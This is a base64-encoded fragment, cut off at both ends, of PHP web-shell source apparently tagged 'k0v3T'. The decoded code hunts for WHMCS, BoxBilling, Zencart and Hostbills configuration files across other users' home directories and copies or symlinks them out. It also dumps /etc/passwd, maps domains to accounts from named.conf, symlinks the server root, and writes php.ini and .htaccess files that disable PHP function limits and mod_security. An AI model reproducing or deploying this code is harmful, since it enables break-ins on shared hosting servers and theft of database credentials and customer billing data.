JsaWNfaHRtbC9CSUxMSU5HL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQmlsbGluZy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2JpbGxpbmcvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CVVkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CdXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9idXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9NQU5BR0Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9NYW5hZ2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9tYW5hZ2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlRTVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50U3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0NsaWVudHN1cHBvcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0hFQ0tPVVQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DaGVja291dC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NoZWNrb3V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvQmFza2V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iYXNrZXQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvU2VjdXJlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zZWN1cmUvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9TYWxlcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2FsZXMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JpbGwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9QdXJjaGFzZS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvcHVyY2hhc2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0FjY291bnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2FjY291bnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1VzZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3VzZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0NsaWVudHMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudHMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9CaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9NeS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvbXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS93aG1jcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvcGFuZWwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ib3hiaWxsaW5nL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JveC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0hvc3QvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydGVzL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnQvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaG9zdGluZy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jYXJ0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL29yZGVyL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRzL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGUvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50ZXMvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5ncy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9teS9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zZWN1cmUvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9wcm9kdWN0cy9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIgPT4gIlplbmNhcnQiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaG9zdGJpbGxzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2hvc3QvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvSG9zdC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0aW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvb3JkZXIvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudHMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50ZS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlcy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL215L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIg0KKTsgIA0KDQpmb3JlYWNoKCRncmFiX2NvbmZpZyBhcyAkY29uZmlnID0+ICRuYW1hX2NvbmZpZykgew0KCWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7DQokYW1iaWxfY29uZmlnID0gZmlsZV9nZXRfY29udGVudHMoJGNvbmZpZyk7DQppZigkYW1iaWxfY29uZmlnID09ICcnKSB7DQp9IGVsc2Ugew0KJGZpbGVfY29uZmlnID0gZm9wZW4oImswdjNUX2NvbmZpZ2dyYWIvJHVzZXJfazB2M1QtJG5hbWFfY29uZmlnLnR4dCIsInciKTsNCmZwdXRzKCRmaWxlX2NvbmZpZywkYW1iaWxfY29uZmlnKTsNCn0NCn0NCmlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7DQpAc3ltbGluaygkY29uZmlnLCJrMHYzVF9TeW1jb25maWcvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0Iik7DQp9DQppZigkX1BPU1RbJ2NvbmZpZyddID09ICc0MDQnKSB7DQokc3ltNDA0PXN5bWxpbmsoJGNvbmZpZywiazB2M1Rfc3ltNDA0LyIuJHVzZXJfazB2M1QuIi0iLiRuYW1hX2NvbmZpZy4iLnR4dCIpOw0KaWYoJHN5bTQwNCl7DQoJQG1rZGlyKCJrMHYzVF9zeW00MDQvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0NDA0IiwgMDc3Nyk7DQoJJGh0YWNjZXNzPSJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KSGVhZGVyTmFtZSBrMHYzVC50eHQNClNhdGlzZnkgQW55DQpJbmRleE9wdGlvbnMgSWdub3JlQ2FzZSBGYW5jeUluZGV4aW5nIEZvbGRlcnNGaXJzdCBOYW1lV2lkdGg9KiBEZXNjcmlwdGlvbldpZHRoPSogU3VwcHJlc3NIVE1MUHJlYW1ibGUNCkluZGV4SWdub3JlICoiOw0KDQpAZmlsZV9wdXRfY29udGVudHMoImswdjNUX3N5bTQwNC8iLiR1c2VyX2swdjNULiItIi4kbmFtYV9jb25maWcuIi50eHQ0MDQvLmh0YWNjZXNzIiwkaHRhY2Nlc3MpOw0KDQpAc3ltbGluaygkY29uZmlnLCJrMHYzVF9zeW00MDQvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0NDA0L2swdjNULnR4dCIpOw0KDQoJfQ0KDQp9DQoNCiAgICAgICAgICAgICAgICAgICAgfSAgICAgDQoJCX0gIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7DQogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxhIGhyZWY9Jz9wYXRoPSRwYXRoL2swdjNUX2NvbmZpZ2dyYWInPjxmb250IGNvbG9yPWxpbWU+RG9uZTwvZm9udD48L2E+PC9jZW50ZXI+IjsNCgkJfQ0KICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJzQwNCcpIHsNCiAgICAgICAgZWNobyAiPGNlbnRlcj4NCjxhIGhyZWY9XCJrMHYzVF9zeW00MDQvcm9vdC9cIj5TeW1saW5rTnlhPC9hPg0KPGJyPjxhIGhyZWY9XCJrMHYzVF9zeW00MDQvXCI+Q29uZmlndXJhdGlvbnM8L2E+PC9jZW50ZXI+IjsNCiAgICB9DQogICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7DQplY2hvICI8Y2VudGVyPg0KPGEgaHJlZj1cImswdjNUX3N5bWNvbmZpZy9yb290L1wiPlN5bWxpbmtueWE8L2E+DQo8YnI+PGEgaHJlZj1cImswdjNUX3N5bWNvbmZpZy9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOw0KCQkJfWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bXZob3N0Jykgew0KZWNobyAiPGNlbnRlcj4NCjxhIGhyZWY9XCJrMHYzVF9zeW12aG9zdC9yb290L1wiPlJvb3QgU2VydmVyPC9hPg0KPGJyPjxhIGhyZWY9XCJrMHYzVF9zeW12aG9zdC9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOw0KCQkJfQ0KCQkNCgkJDQoJCX1lbHNlew0KICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiXCI+PGNlbnRlcj4NCgkJPC9jZW50ZXI+PC9zZWxlY3Q+PGJyPjx0ZXh0YXJlYSBuYW1lPVwicGFzc3dkXCIgY2xhc3M9J2FyZWEnIHJvd3M9JzE1JyBjb2xzPSc2MCc+XG4iOw0KICAgICAgICBlY2hvIGluY2x1ZGUoIi9ldGMvcGFzc3dkIik7IA0KICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgIDxzZWxlY3QgY2xhc3M9XCJzZWxlY3RcIiBuYW1lPVwiY29uZmlnXCIgIHN0eWxlPVwid2lkdGg6IDQ1MHB4O1wiIGhlaWdodD1cIjEwXCI+DQogICAgICAgIDxvcHRpb24gdmFsdWU9XCJncmFiXCI+Q29uZmlnIEdyYWI8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cInN5bWxpbmtcIj5TeW1saW5rIENvbmZpZzwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPVwiNDA0XCI+Q29uZmlnIDQwNDwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPVwic3ltdmhvc3RzXCI+Vmhvc3RzIENvbmZpZyBHcmFiYmVyPC9vcHRpb24+PGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiU3RhcnQhIVwiPjwvdGQ+PC90cj48L2NlbnRlcj5cbiI7DQp9DQoNCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2Rpc2FibGVmdW5jJyl7DQoJCWVjaG8gIjxicj48YnI+PGNlbnRlcj4iOw0KCQllY2hvICI8Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1pbmkgdmFsdWU9J3BocC5pbmknIC8+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9aHRjZSB2YWx1ZT0nLmh0YWNjZXNzJyAvPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWxpdGluaSB2YWx1ZT0nTGl0ZXNwZWVkJyAvPjwvZm9ybT4iOw0KCQlpZihpc3NldCgkX1BPU1RbJ2luaSddKSkNCnsNCgkJJGZpbGUgPSBmb3BlbigicGhwLmluaSIsInciKTsNCgkJZWNobyBmd3JpdGUoJGZpbGUsImRpc2FibGVfZnVuY3Rpb25zPW5vbmUNCnNhZmVfbW9kZSA9IE9mZg0KCSIpOw0KCQlmY2xvc2UoJGZpbGUpOw0KCQllY2hvICI8YSBocmVmPSdwaHAuaW5pJz5jbGljayBoZXJlITwvYT4iOw0KfQkJaWYoaXNzZXQoJF9QT1NUWydodGNlJ10pKQ0Kew0KCQkkZmlsZSA9IGZvcGVuKCIuaHRhY2Nlc3MiLCJ3Iik7DQoJCWVjaG8gZndyaXRlKCRmaWxlLCI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpTZWNGaWx0ZXJFbmdpbmUgT2ZmDQpTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+DQoJIik7DQoJCWZjbG9zZSgkZmlsZSk7DQoJCWVjaG8gImh0YWNjZXNzIHN1Y2Nlc3NmdWxseSBjcmVhdGVkISI7DQp9ICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydsaXRpbmknXSkpew0KCQkkaW5pcGggPSAnPD8gbiBlY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOyBuIGVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7IG4gaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsgbiBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IG4gaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOyBuIGVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7IG4gZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsgbiBpbmNsdWRlKCRfR0VUWyJzcyJdOyBuID8+JzsNCgkJCSAkYnlwaCA9ICJzYWZlX21vZGUgPSBPZmYgbiBkaXNhYmxlX2Z1bmN0aW9ucz0gIjsNCgkJJGNvbXA9IlBFWnBiR1Z6SUNvdWNHaHdQZzBLUm05eVkyVlVlWEJsSUdGd2NHeHBZMkYwYVc5dUwzZ3RhSFIwY0dRdGNHaHdOQTBLUEM5R2FXeGxjejQ9IjsNCgkJZmlsZV9wdXRfY29udGVudHMoInBocC5pbmkiLGJhc2U2NF9kZWNvZGUoJGJ5cGgpKTsNCgkJZmlsZV9wdXRfY29udGVudHMoImluaS5waHAiLGJhc2U2NF9kZWNvZGUoJGluaXBoKSk7DQoJCWZpbGVfcHV0X2NvbnRlbnRzKCIuaHRhY2Nlc3MiLGJhc2U2NF9kZWNvZGUoJGNvbXApKTsNCgkJZWNobyAiPHNjcmlwdD5hbGVydCgnRGlzYWJsZSBGdW5jdGlvbnMgaW4gTGl0ZXNwZWVkIENyZWF0ZWQnKTsgaGlkZUFsbCgpOzwvc2NyaXB0PiI7DQoJCWVjaG8iPC9jZW50ZXI+IjsNCn0NCg0KfQ0KZWxzZWlmKCRfR0VUWydhJ10gPT0gJ3N5bWxpbmsnKSB7DQokZnVsbCA9IHN0cl9yZXBsYWNlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICIiLCAkcGF0aCk7DQokZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCiMjaHR0YWNlcw0KaWYoJGQwbWFpbnMpew0KQG1rZGlyKCJrMHYzVF9zeW0iLDA3NzcpOw0KQGNoZGlyKCJrMHYzVF9zeW0iKTsNCkBleGUoImxuIC1zIC8gcm9vdCIpOw0KJGZpbGUzID0gJ09wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHANClNhdGlzZnkgQW55JzsNCiRmcDMgPSBmb3BlbignLmh0YWNjZXNzJywndycpOw0KJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7QGZjbG9zZSgkZnAzKTsNCmVjaG8gIjxicj4NCjx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTEgc3R5bGU9J3dpZHRoOjYwJTtib3JkZXItY29sb3I6IzMzMzMzMzsnPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+Uy4gTm8uPC9mb250PjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Eb21haW5zPC9mb250PjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Vc2VyczwvZm9udD48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+U3ltbGluazwvZm9udD48L3RkPg0KPC90cj4iOw0KJGRjb3VudCA9IDE7DQpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pew0KaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsNCmZsdXNoKCk7DQppZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7DQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOw